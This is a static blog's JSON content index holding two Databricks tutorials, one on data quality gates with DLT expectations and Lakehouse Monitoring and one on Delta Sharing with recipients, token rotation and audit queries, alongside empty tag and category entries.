[{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/tags/abac/","section":"Tags","summary":"","title":"Abac","type":"tags"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/tags/anomaly-detection/","section":"Tags","summary":"","title":"Anomaly-Detection","type":"tags"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/categories/architecture/","section":"Categories","summary":"","title":"Architecture","type":"categories"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/tags/cdc/","section":"Tags","summary":"","title":"Cdc","type":"tags"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/tags/change-data-feed/","section":"Tags","summary":"","title":"Change-Data-Feed","type":"tags"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/tags/column-masks/","section":"Tags","summary":"","title":"Column-Masks","type":"tags"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/categories/data-engineering/","section":"Categories","summary":"","title":"Data Engineering","type":"categories"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/categories/data-quality/","section":"Categories","summary":"","title":"Data Quality","type":"categories"},{"content":"The dashboard is wrong. Someone notices on Tuesday. The root cause turns out to be a column that started arriving as NULL three weeks ago. The pipeline didn\u0026rsquo;t fail. The data landed. The table grew. Nothing broke \u0026ndash; except every metric downstream.\nSilent data quality regressions are the most expensive kind of bug. They don\u0026rsquo;t crash anything, so they don\u0026rsquo;t trigger alerts. They corrupt analytics gradually, and by the time someone notices, you\u0026rsquo;re explaining to leadership why last month\u0026rsquo;s board deck used bad numbers.\nThe fix is defense-in-depth: row-level validation that catches known-bad data at ingestion time, plus statistical monitoring that catches unknown-bad data by detecting distributional drift. Neither layer alone is sufficient. Expectations catch rows that violate explicit rules. Monitoring catches shifts that no rule anticipated.\nTwo Layers of Quality # flowchart TB subgraph Layer1[\"Layer 1: Row-Level (DLT Expectations)\"] R[\"Incoming rows\"] E1[\"expect: email is valid\"] E2[\"expect_or_drop: amount \u003e 0\"] E3[\"expect_or_fail: customer_id NOT NULL\"] R --\u003e E1 \u0026 E2 \u0026 E3 end subgraph Layer2[\"Layer 2: Table-Level (Lakehouse Monitoring)\"] T[\"Materialized table\"] P[\"Statistical profiling\"] D[\"Drift detection(vs. baseline)\"] T --\u003e P --\u003e D end subgraph Alert[\"Alerting\"] S[\"Slack / PagerDuty\"] DB[\"Quality Dashboard\"] end E1 \u0026 E2 \u0026 E3 --\u003e T D --\u003e S D --\u003e DB style R fill:#3498db,color:white style T fill:#2ecc71,color:white style D fill:#e74c3c,color:white style S fill:#f39c12,color:white Layer 1: DLT Expectations (Row-Level Validation) # Expectations are constraints defined inline with your Declarative Pipeline tables. They fire on every row, every micro-batch. Three modes:\nMode Behavior Use Case expect Log violation, keep the row Soft validation, metrics tracking expect_or_drop Silently drop violating rows Filtering bad data without failing expect_or_fail Fail the pipeline Hard constraint, data must be correct Setup: Orders Pipeline with Expectations # 1 2 3 CREATE CATALOG IF NOT EXISTS ecommerce; CREATE SCHEMA IF NOT EXISTS ecommerce.quality_demo; CREATE VOLUME IF NOT EXISTS ecommerce.quality_demo.orders_landing; Generate sample data with intentional quality issues:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import json import random from datetime import datetime, timedelta, timezone def generate_orders(n=500, bad_pct=0.1): orders = [] for i in range(n): order = { \u0026#34;order_id\u0026#34;: f\u0026#34;ORD-{i:06d}\u0026#34;, \u0026#34;customer_id\u0026#34;: f\u0026#34;C{random.randint(1, 200):04d}\u0026#34;, \u0026#34;email\u0026#34;: f\u0026#34;user{random.randint(1, 200)}@example.com\u0026#34;, \u0026#34;amount\u0026#34;: round(random.uniform(10, 500), 2), \u0026#34;quantity\u0026#34;: random.randint(1, 10), \u0026#34;postal_code\u0026#34;: f\u0026#34;{random.randint(10000, 99999)}\u0026#34;, \u0026#34;region\u0026#34;: random.choice([\u0026#34;US-WEST\u0026#34;, \u0026#34;US-EAST\u0026#34;, \u0026#34;EU-WEST\u0026#34;, \u0026#34;APAC\u0026#34;]), \u0026#34;order_date\u0026#34;: ( datetime(2026, 4, 1, tzinfo=timezone.utc) + timedelta(days=random.randint(0, 19)) ).isoformat(), } # Inject quality issues if random.random() \u0026lt; bad_pct: issue = random.choice([ \u0026#34;null_email\u0026#34;, \u0026#34;negative_amount\u0026#34;, \u0026#34;bad_postal\u0026#34;, \u0026#34;null_customer\u0026#34; ]) if issue == \u0026#34;null_email\u0026#34;: order[\u0026#34;email\u0026#34;] = None elif issue == \u0026#34;negative_amount\u0026#34;: order[\u0026#34;amount\u0026#34;] = -round(random.uniform(1, 100), 2) elif issue == \u0026#34;bad_postal\u0026#34;: order[\u0026#34;postal_code\u0026#34;] = \u0026#34;XXXXX\u0026#34; elif issue == \u0026#34;null_customer\u0026#34;: order[\u0026#34;customer_id\u0026#34;] = None orders.append(order) return orders volume_path = \u0026#34;/Volumes/ecommerce/quality_demo/orders_landing\u0026#34; orders = generate_orders(500, bad_pct=0.1) with open(f\u0026#34;{volume_path}/orders_batch_001.json\u0026#34;, \u0026#34;w\u0026#34;) as f: for o in orders: f.write(json.dumps(o) + \u0026#34;\\n\u0026#34;) print(f\u0026#34;Wrote {len(orders)} orders with ~10% quality issues\u0026#34;) Define the Pipeline with Expectations # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import dlt from pyspark.sql import functions as F @dlt.table( comment=\u0026#34;Raw orders ingested from landing zone\u0026#34; ) def orders_raw(): return ( spark.readStream .format(\u0026#34;cloudFiles\u0026#34;) .option(\u0026#34;cloudFiles.format\u0026#34;, \u0026#34;json\u0026#34;) .option(\u0026#34;cloudFiles.inferColumnTypes\u0026#34;, \u0026#34;true\u0026#34;) .load(\u0026#34;/Volumes/ecommerce/quality_demo/orders_landing/\u0026#34;) ) @dlt.expect(\u0026#34;valid_email\u0026#34;, \u0026#34;email IS NOT NULL AND email RLIKE \u0026#39;^[^@]+@[^@]+\\\\\\\\.[^@]+$\u0026#39;\u0026#34;) @dlt.expect_or_drop(\u0026#34;positive_amount\u0026#34;, \u0026#34;amount \u0026gt; 0\u0026#34;) @dlt.expect_or_fail(\u0026#34;has_customer_id\u0026#34;, \u0026#34;customer_id IS NOT NULL\u0026#34;) @dlt.expect(\u0026#34;valid_postal_code\u0026#34;, \u0026#34;postal_code RLIKE \u0026#39;^[0-9]{5}$\u0026#39;\u0026#34;) @dlt.table( comment=\u0026#34;Validated orders - bad amounts dropped, null customers fail pipeline\u0026#34; ) def orders_validated(): return dlt.read_stream(\u0026#34;orders_raw\u0026#34;) What happens at runtime:\nvalid_email: Rows with invalid emails pass through but are logged as violations. You see the count in the pipeline event log. positive_amount: Rows with negative or zero amounts are silently dropped. They never reach orders_validated. has_customer_id: If any row has a NULL customer_id, the entire pipeline fails. This is your hard constraint \u0026ndash; orders without customers are corrupted data. valid_postal_code: Soft check, logged but not enforced. Use this to track data quality trends without disrupting the pipeline. Querying Expectation Results # After the pipeline runs, the event log records every expectation evaluation:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 -- Expectation violations per run SELECT details:flow_definition.output_dataset AS table_name, details:flow_progress.data_quality.expectations[*].name AS expectation_name, details:flow_progress.data_quality.expectations[*].dataset AS dataset, details:flow_progress.data_quality.expectations[*] .passed_records AS passed, details:flow_progress.data_quality.expectations[*] .failed_records AS failed FROM event_log(TABLE(ecommerce.quality_demo.orders_validated)) WHERE event_type = \u0026#39;flow_progress\u0026#39; ORDER BY timestamp DESC LIMIT 10 Layer 2: Lakehouse Monitoring (Statistical Drift Detection) # Expectations catch rows that violate rules you wrote. But what about quality issues nobody anticipated? A region column that suddenly has 90% of values as \u0026ldquo;UNKNOWN\u0026rdquo; when it used to be evenly distributed. An amount column whose mean shifts from $200 to $50 because of a pricing bug upstream.\nLakehouse Monitoring profiles your table statistically and compares current distributions against a baseline. No rules to write \u0026ndash; it detects anomalies in the data itself.\nEnable a Monitor # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from databricks.sdk import WorkspaceClient w = WorkspaceClient() # Create a monitor on the validated orders table monitor = w.quality_monitors.create( table_name=\u0026#34;ecommerce.quality_demo.orders_validated\u0026#34;, output_schema_name=\u0026#34;ecommerce.quality_demo._monitoring\u0026#34;, assets_dir=\u0026#34;/Workspace/Users/you/monitoring_assets\u0026#34;, schedule={\u0026#34;quartz_cron_expression\u0026#34;: \u0026#34;0 0 * * * ?\u0026#34;, \u0026#34;timezone_id\u0026#34;: \u0026#34;UTC\u0026#34;}, slicing_exprs=[\u0026#34;region\u0026#34;], baseline_table_name=\u0026#34;ecommerce.quality_demo.orders_baseline\u0026#34;, inference_log=None, ) print(f\u0026#34;Monitor created: {monitor.monitor_name}\u0026#34;) Configuration breakdown:\noutput_schema_name: Where profiling results are stored (auto-created tables) schedule: How often to re-profile. Hourly is aggressive for most tables \u0026ndash; daily is more typical slicing_exprs: Profile per-slice, not just globally. Drift in a single region gets detected even if the global distribution looks fine baseline_table_name: The \u0026ldquo;known good\u0026rdquo; snapshot to compare against. If omitted, the monitor uses the first profile as the baseline Create the Baseline # 1 2 3 4 5 6 # Snapshot current data as the baseline # Do this when you know the data quality is correct spark.sql(\u0026#34;\u0026#34;\u0026#34; CREATE TABLE IF NOT EXISTS ecommerce.quality_demo.orders_baseline AS SELECT * FROM ecommerce.quality_demo.orders_validated \u0026#34;\u0026#34;\u0026#34;) Query Drift Results # After the monitor runs, it populates profiling and drift tables:\n1 2 3 4 5 6 7 8 9 10 11 -- Profile metrics: distribution stats per column SELECT column_name, metric_name, baseline_value, current_value, drift_type, abs(current_value - baseline_value) AS absolute_drift FROM ecommerce.quality_demo._monitoring.profile_metrics WHERE drift_type IS NOT NULL ORDER BY absolute_drift DESC 1 2 3 4 5 6 7 8 9 10 -- Which columns drifted the most? SELECT column_name, COUNT(*) AS drift_count, COLLECT_SET(drift_type) AS drift_types, MAX(abs(current_value - baseline_value)) AS max_drift FROM ecommerce.quality_demo._monitoring.profile_metrics WHERE drift_type IS NOT NULL GROUP BY column_name ORDER BY max_drift DESC 1 2 3 4 5 6 7 8 9 10 11 12 13 -- Drift by region slice SELECT slice_key, slice_value, column_name, metric_name, baseline_value, current_value, drift_type FROM ecommerce.quality_demo._monitoring.profile_metrics WHERE drift_type IS NOT NULL AND slice_key = \u0026#39;region\u0026#39; ORDER BY slice_value, column_name Custom Metrics # Built-in profiling covers standard statistics (mean, stddev, null ratio, distinct count). For business-specific quality metrics, define custom metrics:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from databricks.sdk.service.catalog import ( MonitorMetric, MonitorMetricType ) # Custom metric: percentage of orders with valid postal codes w.quality_monitors.update( table_name=\u0026#34;ecommerce.quality_demo.orders_validated\u0026#34;, custom_metrics=[ MonitorMetric( type=MonitorMetricType.CUSTOM_METRIC_TYPE_AGGREGATE, name=\u0026#34;valid_postal_pct\u0026#34;, input_columns=[\u0026#34;postal_code\u0026#34;], definition=\u0026#34;AVG(CASE WHEN postal_code RLIKE \u0026#39;^[0-9]{5}$\u0026#39;\u0026#34; \u0026#34; THEN 1.0 ELSE 0.0 END)\u0026#34;, output_data_type=\u0026#34;DOUBLE\u0026#34;, ), MonitorMetric( type=MonitorMetricType.CUSTOM_METRIC_TYPE_AGGREGATE, name=\u0026#34;avg_order_value\u0026#34;, input_columns=[\u0026#34;amount\u0026#34;], definition=\u0026#34;AVG(amount)\u0026#34;, output_data_type=\u0026#34;DOUBLE\u0026#34;, ), ], ) Integrating Alerts # Webhook Alerts to Slack # Set up a notification destination in the Databricks workspace, then link it to the monitor:\n1 2 3 4 5 6 7 8 9 10 11 12 13 # Create a Slack webhook notification destination from databricks.sdk.service.settings import ( CreateNotificationDestinationRequest ) w.notification_destinations.create( display_name=\u0026#34;data-quality-alerts\u0026#34;, config={ \u0026#34;slack\u0026#34;: { \u0026#34;url\u0026#34;: \u0026#34;https://hooks.slack.com/services/YOUR/WEBHOOK/URL\u0026#34; } } ) 1 2 3 4 5 6 7 8 9 10 11 12 # Link notifications to the monitor w.quality_monitors.update( table_name=\u0026#34;ecommerce.quality_demo.orders_validated\u0026#34;, notifications={ \u0026#34;on_failure\u0026#34;: { \u0026#34;email_addresses\u0026#34;: [\u0026#34;oncall@yourcompany.com\u0026#34;] }, \u0026#34;on_new_classification_tag_detected\u0026#34;: { \u0026#34;email_addresses\u0026#34;: [\u0026#34;data-governance@yourcompany.com\u0026#34;] } } ) Quality Dashboard # Build a dashboard over the monitoring system tables to visualize quality trends:\n1 2 3 4 5 6 7 8 9 10 -- Quality trend over time (for a dashboard panel) SELECT window.start AS profile_date, column_name, metric_name, current_value FROM ecommerce.quality_demo._monitoring.profile_metrics WHERE column_name IN (\u0026#39;amount\u0026#39;, \u0026#39;postal_code\u0026#39;, \u0026#39;email\u0026#39;) AND metric_name IN (\u0026#39;percent_nulls\u0026#39;, \u0026#39;mean\u0026#39;, \u0026#39;distinct_count\u0026#39;) ORDER BY profile_date, column_name Putting Both Layers Together # The two layers complement each other:\nAspect DLT Expectations Lakehouse Monitoring Scope Row-level Table-level / column-level When Every micro-batch (streaming) or batch Scheduled (cron) What it catches Known violations (rules you write) Unknown drift (statistical) Response Drop/fail/log per row Alert, drift report False positives None (rules are exact) Possible (statistical thresholds) Setup effort Inline decorators SDK call + baseline A complete quality gate looks like this:\nExpectations block obviously bad data at ingestion: null keys fail the pipeline, negative amounts get dropped, invalid formats get logged Monitoring catches subtle regressions after the data lands: distribution shifts, unusual null spikes, column cardinality changes Alerts notify the right people: Slack for the data team, email for governance, PagerDuty for critical pipelines Dashboard gives the historical view: quality trends over weeks and months, per-slice breakdowns Gotchas # Monitor refresh frequency vs. cost. Profiling wide tables (100+ columns) is not free. Each monitor run reads the entire table (or the incremental window) and computes statistics per column per slice. Running hourly on a billion-row table will cost real compute. Start with daily or weekly and increase frequency only for critical tables.\nExpectation naming collisions. If two expectations have the same name on different tables, the event log becomes confusing. Name them descriptively: orders_valid_email, not just valid_email. There\u0026rsquo;s no enforcement of unique names across tables.\nBaseline staleness. Your baseline represents \u0026ldquo;what good data looks like.\u0026rdquo; If the business genuinely changes (new regions, different pricing), the baseline becomes outdated and the monitor flags everything as drift. Refresh the baseline periodically after validating that the new distribution is correct.\nexpect_or_fail in streaming pipelines. If a single bad row triggers a pipeline failure, you need to fix the source data and restart. For high-volume streaming, this can mean hours of reprocessing. Use expect_or_fail only for constraints that truly indicate corrupt data (null keys), not for soft quality issues. Use expect_or_drop for fields where dropping bad rows is acceptable.\nSlicing expressiveness. slicing_exprs accepts column expressions, not arbitrary SQL. You can slice by region or DATE(order_date), but complex slicing logic needs to be materialized as a column first.\nConclusion # Data quality is not a single check. It\u0026rsquo;s two systems working at different granularities.\nDLT Expectations are your first line \u0026ndash; they enforce what you know must be true about every row. Null keys, positive amounts, valid formats. These are deterministic, zero-false-positive validations baked into your pipeline.\nLakehouse Monitoring is your second line \u0026ndash; it catches what you didn\u0026rsquo;t anticipate. Distribution shifts, cardinality changes, unusual null rates. These are statistical signals that something changed upstream, even if every individual row passes your explicit rules.\nNeither layer replaces the other. A row can pass every expectation and still be part of a distributional anomaly. A statistical drift can be real and intentional (new market launch) rather than a bug. Both layers together give you confidence that bad data doesn\u0026rsquo;t silently corrupt your analytics.\n","date":"20 April 2026","externalUrl":null,"permalink":"/posts/databricks-data-quality-gates/","section":"Posts","summary":"","title":"Data Quality Gates: Lakehouse Monitoring and DLT Expectations","type":"posts"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/tags/data-governance/","section":"Tags","summary":"","title":"Data-Governance","type":"tags"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/tags/data-quality/","section":"Tags","summary":"","title":"Data-Quality","type":"tags"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/categories/databricks/","section":"Categories","summary":"","title":"Databricks","type":"categories"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/tags/databricks/","section":"Tags","summary":"","title":"Databricks","type":"tags"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/series/databricks-challenge/","section":"Series","summary":"","title":"Databricks Challenge","type":"series"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/tags/declarative-pipelines/","section":"Tags","summary":"","title":"Declarative-Pipelines","type":"tags"},{"content":"Data teams don\u0026rsquo;t operate in isolation. The marketing analytics team needs the customer 360 table from the data engineering group. The external consulting firm needs read access to aggregated metrics. The ML team in a different workspace needs the feature store tables.\nThe traditional answer is data copies. Export to S3, share credentials, hope the consumer picks up the right version. Or worse, set up a dedicated ETL pipeline just to move data from one workspace to another. Every copy is a liability: stale data, duplicated storage costs, credentials sprawling across systems.\nDelta Sharing takes a different approach. The provider publishes a share. The consumer reads from it. No data moves. No credentials are exchanged for the underlying storage. The provider controls what\u0026rsquo;s shared at the table level, and Unity Catalog enforces it.\nThis works across Databricks workspaces, and it works outside Databricks entirely. The Delta Sharing protocol is open \u0026ndash; any client that speaks it can consume shared tables. That includes pandas, Apache Spark OSS, and PowerBI.\nHow Delta Sharing Works # flowchart TB subgraph Provider[\"Provider Workspace\"] UC[\"Unity Catalog\"] T1[\"gold.customer_360\"] T2[\"gold.revenue_metrics\"] SH[\"Share: analytics_share\"] UC --\u003e T1 UC --\u003e T2 T1 --\u003e SH T2 --\u003e SH end subgraph DBX[\"Consumer Workspace (Databricks)\"] RC[\"Recipient Catalog\"] Q1[\"SELECT * FROM shared_catalog...\"] end subgraph EXT[\"External Consumer\"] PY[\"Python / pandas\"] PBI[\"Power BI\"] end SH --\u003e|\"Databricks-to-Databricks(automatic)\"| RC --\u003e Q1 SH --\u003e|\"Open protocol(activation link)\"| PY SH --\u003e|\"Open protocol\"| PBI style SH fill:#3498db,color:white style RC fill:#2ecc71,color:white style PY fill:#e74c3c,color:white style PBI fill:#e74c3c,color:white Key concepts:\nShare \u0026ndash; a named collection of tables (and optionally schemas) that you publish for consumption Recipient \u0026ndash; an identity that can access a share. Can be another Databricks workspace or an external consumer Grant \u0026ndash; the permission linking a share to a recipient The provider never exposes storage credentials. The consumer queries through the Delta Sharing protocol, and Unity Catalog authorizes every request.\nStep 1: Prepare the Provider Tables # First, set up the data you want to share. These tables live in your Unity Catalog:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 CREATE CATALOG IF NOT EXISTS analytics; CREATE SCHEMA IF NOT EXISTS analytics.gold; -- Customer 360 table CREATE TABLE IF NOT EXISTS analytics.gold.customer_360 ( customer_id STRING, email STRING, tier STRING, region STRING, lifetime_value DOUBLE, last_order_date DATE, updated_at TIMESTAMP ) USING DELTA TBLPROPERTIES (\u0026#39;delta.enableChangeDataFeed\u0026#39; = \u0026#39;true\u0026#39;); -- Revenue metrics CREATE TABLE IF NOT EXISTS analytics.gold.revenue_metrics ( date DATE, region STRING, product_category STRING, revenue DOUBLE, orders INT, avg_order_value DOUBLE ) USING DELTA TBLPROPERTIES (\u0026#39;delta.enableChangeDataFeed\u0026#39; = \u0026#39;true\u0026#39;); -- Insert sample data INSERT INTO analytics.gold.customer_360 VALUES (\u0026#39;C001\u0026#39;, \u0026#39;alice@acme.com\u0026#39;, \u0026#39;gold\u0026#39;, \u0026#39;US-WEST\u0026#39;, 45000.00, \u0026#39;2026-03-15\u0026#39;, current_timestamp()), (\u0026#39;C002\u0026#39;, \u0026#39;bob@corp.io\u0026#39;, \u0026#39;silver\u0026#39;, \u0026#39;EU-WEST\u0026#39;, 12000.00, \u0026#39;2026-04-01\u0026#39;, current_timestamp()), (\u0026#39;C003\u0026#39;, \u0026#39;carol@startup.dev\u0026#39;, \u0026#39;platinum\u0026#39;, \u0026#39;APAC\u0026#39;, 89000.00, \u0026#39;2026-04-10\u0026#39;, current_timestamp()); INSERT INTO analytics.gold.revenue_metrics VALUES (\u0026#39;2026-04-01\u0026#39;, \u0026#39;US-WEST\u0026#39;, \u0026#39;electronics\u0026#39;, 1250000.00, 3400, 367.65), (\u0026#39;2026-04-01\u0026#39;, \u0026#39;EU-WEST\u0026#39;, \u0026#39;electronics\u0026#39;, 890000.00, 2100, 423.81), (\u0026#39;2026-04-01\u0026#39;, \u0026#39;APAC\u0026#39;, \u0026#39;electronics\u0026#39;, 2100000.00, 5800, 362.07); Enable Change Data Feed on tables you plan to share. This allows consumers to do incremental reads instead of full table scans \u0026ndash; critical for large tables where the consumer only needs the delta since their last read. Step 2: Create a Share and Add Tables # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 -- Create the share CREATE SHARE IF NOT EXISTS analytics_share COMMENT \u0026#39;Curated analytics tables for cross-team consumption\u0026#39;; -- Add tables to the share ALTER SHARE analytics_share ADD TABLE analytics.gold.customer_360 COMMENT \u0026#39;Customer 360 view - refreshed daily\u0026#39;; ALTER SHARE analytics_share ADD TABLE analytics.gold.revenue_metrics COMMENT \u0026#39;Daily revenue aggregates by region and category\u0026#39;; -- Verify what\u0026#39;s in the share SHOW ALL IN SHARE analytics_share; You can also share at the schema level:\n1 2 3 -- Share an entire schema (all current and future tables) ALTER SHARE analytics_share ADD SCHEMA analytics.gold; Schema-level sharing is convenient but less controlled. For most use cases, explicit table grants are safer.\nStep 3: Set Up Recipients # Databricks-to-Databricks Recipient # For sharing between Databricks workspaces in the same account (or with metastore-level sharing enabled):\n1 2 3 4 5 6 7 -- Create a recipient for another workspace CREATE RECIPIENT IF NOT EXISTS team_marketing COMMENT \u0026#39;Marketing analytics workspace\u0026#39; USING ID \u0026#39;aws:us-west-2:\u0026lt;metastore-uuid\u0026gt;\u0026#39;; -- Grant access GRANT SELECT ON SHARE analytics_share TO RECIPIENT team_marketing; The consumer workspace sees the shared tables as a catalog:\n1 2 3 4 5 6 7 -- On the consumer workspace: CREATE CATALOG IF NOT EXISTS shared_analytics USING SHARE analytics.analytics_share; -- Query shared data directly SELECT * FROM shared_analytics.gold.customer_360 WHERE region = \u0026#39;US-WEST\u0026#39;; No data was copied. The query goes through the Delta Sharing protocol, the provider\u0026rsquo;s Unity Catalog authorizes it, and the data is read directly from the provider\u0026rsquo;s storage.\nExternal Recipient (Non-Databricks) # For consumers outside Databricks (pandas, Spark OSS, Power BI):\n1 2 3 4 5 6 7 8 -- Create an external recipient CREATE RECIPIENT IF NOT EXISTS acme_consulting COMMENT \u0026#39;External analytics partner\u0026#39;; -- This generates an activation link -- Run immediately after creating the recipient: DESCRIBE RECIPIENT acme_consulting; -- Look for the activation_link column The activation link is a one-time URL. The recipient opens it, downloads a credentials file (.share profile), and uses it with any Delta Sharing client. The profile file contains a bearer token and the sharing server endpoint \u0026ndash; no storage credentials.\n1 2 -- Grant access to the external recipient GRANT SELECT ON SHARE analytics_share TO RECIPIENT acme_consulting; Step 4: Consume from Outside Databricks # Python / pandas # Install the Delta Sharing Python connector:\n1 pip install delta-sharing Read shared tables:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 import delta_sharing # Load the profile from the downloaded .share file profile_file = \u0026#34;config.share\u0026#34; # List available shares and tables shares = delta_sharing.SharingClient(profile_file).list_all_tables() for table in shares: print(f\u0026#34;{table.share}.{table.schema}.{table.name}\u0026#34;) # Read a table as a pandas DataFrame table_url = f\u0026#34;{profile_file}#analytics_share.gold.customer_360\u0026#34; df = delta_sharing.load_as_pandas(table_url) print(df.head()) 1 2 3 4 customer_id email tier region lifetime_value last_order_date 0 C001 alice@acme.com gold US-WEST 45000.0 2026-03-15 1 C002 bob@corp.io silver EU-WEST 12000.0 2026-04-01 2 C003 carol@startup platinum APAC 89000.0 2026-04-10 Spark OSS # 1 2 3 4 5 6 # Read from Spark (non-Databricks) df = ( spark.read.format(\u0026#34;deltaSharing\u0026#34;) .load(\u0026#34;config.share#analytics_share.gold.customer_360\u0026#34;) ) df.show() Incremental Reads with CDF # If the shared table has Change Data Feed enabled, consumers can read only what changed:\n1 2 3 4 5 6 7 # Read changes since version 3 changes = delta_sharing.load_table_changes_as_pandas( table_url, starting_version=3, ) print(changes[[\u0026#34;customer_id\u0026#34;, \u0026#34;_change_type\u0026#34;, \u0026#34;_commit_version\u0026#34;]]) This is how you build efficient downstream pipelines over shared data. The consumer doesn\u0026rsquo;t need to diff the full table \u0026ndash; they get the exact rows that were inserted, updated, or deleted.\nStep 5: Security Controls # IP Access Lists # Restrict which networks can access your shares. IP access lists for recipients are managed via the Databricks SDK or REST API (there is no SQL syntax for this):\n1 2 3 4 5 6 7 8 9 10 from databricks.sdk import WorkspaceClient w = WorkspaceClient() w.recipients.update( name=\u0026#34;acme_consulting\u0026#34;, ip_access_list={ \u0026#34;allowed_ip_addresses\u0026#34;: [\u0026#34;203.0.113.0/24\u0026#34;, \u0026#34;198.51.100.0/24\u0026#34;] } ) Token Rotation # Recipient tokens should be rotated periodically. The recipient re-activates with a new link:\n1 2 3 4 5 -- Rotate the activation token ALTER RECIPIENT acme_consulting ROTATE TOKEN; -- New activation link appears in: DESCRIBE RECIPIENT acme_consulting; The old token stops working immediately. Coordinate with the recipient before rotating.\nTable-Level vs Schema-Level Grants # Schema-level sharing (ADD SCHEMA) includes all current and future tables. If a sensitive table is added to the schema later, it\u0026rsquo;s automatically shared. For most production use cases, table-level grants give you tighter control:\n1 2 3 4 5 6 -- Explicit is better than implicit ALTER SHARE analytics_share ADD TABLE analytics.gold.customer_360; -- NOT: -- ALTER SHARE analytics_share ADD SCHEMA analytics.gold; Step 6: Audit Who Accessed What # Unity Catalog logs every Delta Sharing query in the system tables:\n1 2 3 4 5 6 7 8 9 10 11 12 13 -- Who queried shared tables, and when? SELECT request_params.recipient_name, request_params.share, request_params.schema, request_params.name AS table_name, user_identity.email AS requester, event_time, response.status_code FROM system.access.audit WHERE action_name = \u0026#39;deltaSharingQueryTable\u0026#39; ORDER BY event_time DESC LIMIT 50 1 2 3 4 5 6 7 8 9 10 11 -- Which recipients are most active? SELECT request_params.recipient_name, COUNT(*) AS query_count, MIN(event_time) AS first_query, MAX(event_time) AS last_query FROM system.access.audit WHERE action_name = \u0026#39;deltaSharingQueryTable\u0026#39; AND event_time \u0026gt;= current_date() - 30 GROUP BY request_params.recipient_name ORDER BY query_count DESC 1 2 3 4 5 6 7 8 9 10 -- Detect unusual access patterns SELECT request_params.recipient_name, DATE(event_time) AS query_date, COUNT(*) AS daily_queries FROM system.access.audit WHERE action_name = \u0026#39;deltaSharingQueryTable\u0026#39; GROUP BY request_params.recipient_name, DATE(event_time) HAVING COUNT(*) \u0026gt; 100 -- flag recipients hitting tables excessively ORDER BY daily_queries DESC This audit trail is how you answer compliance questions: \u0026ldquo;Who accessed customer data last month? When? How many times?\u0026rdquo; All without building custom logging infrastructure.\nGotchas # You can\u0026rsquo;t share views. Delta Sharing operates on physical Delta tables. If you need to share a filtered or transformed dataset, materialize it as a table first. This is a common stumbling block for teams that use views for access control \u0026ndash; views don\u0026rsquo;t travel through shares.\nColumn masking interaction. If a table has column masks (from Unity Catalog fine-grained access control), the mask is applied at the provider side. The recipient sees masked values. This is correct behavior, but it means you need to think about which mask applies \u0026ndash; the provider\u0026rsquo;s mask policy, not the recipient\u0026rsquo;s.\nSharing across clouds. Delta Sharing works across cloud providers (AWS to Azure, for example), but the latency depends on the data size and network path. For large tables, the first query can be slow because data is read from the provider\u0026rsquo;s storage. Incremental CDF reads mitigate this for ongoing pipelines.\nRecipient token expiry. External recipient tokens don\u0026rsquo;t expire by default, which is a security concern. Set up a rotation schedule (quarterly is reasonable) and track activation status:\n1 2 3 4 5 -- Check recipient status SHOW RECIPIENTS; -- Or use the SDK to list recipients and check activation status: -- w.recipients.list() returns RecipientInfo objects with -- activated, activation_url, created_at, updated_at fields Schema evolution. If the provider adds a column to a shared table, the consumer sees it on the next query. If the provider removes a column, consumers referencing it break. Communicate schema changes to recipients before deploying them \u0026ndash; there\u0026rsquo;s no built-in schema compatibility negotiation in the protocol.\nConclusion # Delta Sharing replaces file extracts, credential sharing, and one-off ETL pipelines with a governed, auditable protocol. The provider controls what\u0026rsquo;s shared and can revoke access instantly. The consumer reads live data without managing storage credentials. The audit trail proves who accessed what and when.\nThe open protocol means this isn\u0026rsquo;t a Databricks-only solution. External consumers use the same pandas or Spark interface they already know. The .share profile file is the only credential they need, and it contains no storage keys.\nFor large-scale data exchange \u0026ndash; between internal teams, across workspaces, with external partners \u0026ndash; this is how you avoid the \u0026ldquo;export to S3 and pray\u0026rdquo; pattern. Zero copies, full governance, real-time access to live tables.\n","date":"20 April 2026","externalUrl":null,"permalink":"/posts/databricks-delta-sharing-cross-workspace/","section":"Posts","summary":"","title":"Delta Sharing: Zero-Copy Data Exchange Across Workspaces and Beyond","type":"posts"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/tags/delta-lake/","section":"Tags","summary":"","title":"Delta-Lake","type":"tags"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/tags/delta-sharing/","section":"Tags","summary":"","title":"Delta-Sharing","type":"tags"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/tags/dlt/","section":"Tags","summary":"","title":"Dlt","type":"tags"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/tags/expectations/","section":"Tags","summary":"","title":"Expectations","type":"tags"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/tags/iot/","section":"Tags","summary":"","title":"Iot","type":"tags"},{"content":"","date":"20 April 